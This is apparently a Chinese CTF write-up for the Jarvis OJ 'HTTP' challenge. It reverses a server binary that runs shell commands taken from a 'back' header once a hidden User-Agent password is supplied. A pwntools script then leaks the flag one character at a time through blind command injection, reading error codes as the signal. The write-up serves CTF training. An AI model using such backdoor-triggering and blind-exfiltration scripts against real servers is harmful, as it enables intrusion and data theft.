HTTP

Try it here:

pwn.jarvisoj.com:9881

 

题目来源:cncert2016



http.49cb96c66532dfb92e4879c8693436ff

 

(PS:这真的不是一道标着pwn披着web皮的re吗)

打开程序拖入IDA分析,是一个socket服务器模型,程序监听了1807端口

发现程序会检测输出是否有User-Agent和back两个header,如果User-Agent里面是一串特定的字符串的话,那么会执行header里的内容

User-Agent里面是将第i个字符与i进行异或,然后和一个存储在程序中的密文解密后的字符串进行比较,因此直接在gdb里就能看到解密后的字符串为"2016CCRT",则User-Agent里应为"2135GFTS"

然后back里面cat flag就可以了

但是实际上本地虽然能跑通,但是网上的话看不到具体回显内容,只能看到状态及Content-Length

但是既然back里的东西都可以被执行,因此可以考虑诸位爆破

发现Content-Length为0时会返回500,因此可以据此判断

这里运用了awk

exp如下:

from pwn import *
import os, string

#p = gdb.debug('./http', 'b *0x40125D')
#io = process('./http')
password = "2135GFTS"

f = ""
i = 0
j = 0

def work(pos, ch):
    cmd = "cat flag | awk '{if(substr($1, %d, 1) == \"%s\") print \"%s\"}'" % (pos + 1, ch, "A")
    io = remote('pwn.jarvisoj.com', 9881)
    payload = "User-Agent: %s\r\n" % (password)
    payload += "back: %s\r\n\r\n\r\n" % (cmd)
    sleep(0.5)
    io.send(payload)
    sleep(0.5)
    try:
        tmp = io.read()
    except:
        io.close()
        work(pos, ch)
        return
    io.close()
    os.system("clear")
    global f
    print(i, "flag="+f, "now:"+ch)
    if b"500" in tmp:
        return
    f += ch

while i < 40:
    while j < len(string.printable):
        work(i, string.printable[j])
        if len(f) > i:
            i = i + 1
            break
        j = j + 1
    j = 0

io.interactive()

awk里substr的三个参数分别是输入的字符串的指针,第二个是从第几位输出,第三个是输出几位

posted @ 2021-07-16 23:04  hktk1643  阅读(54)  评论(0编辑  收藏  举报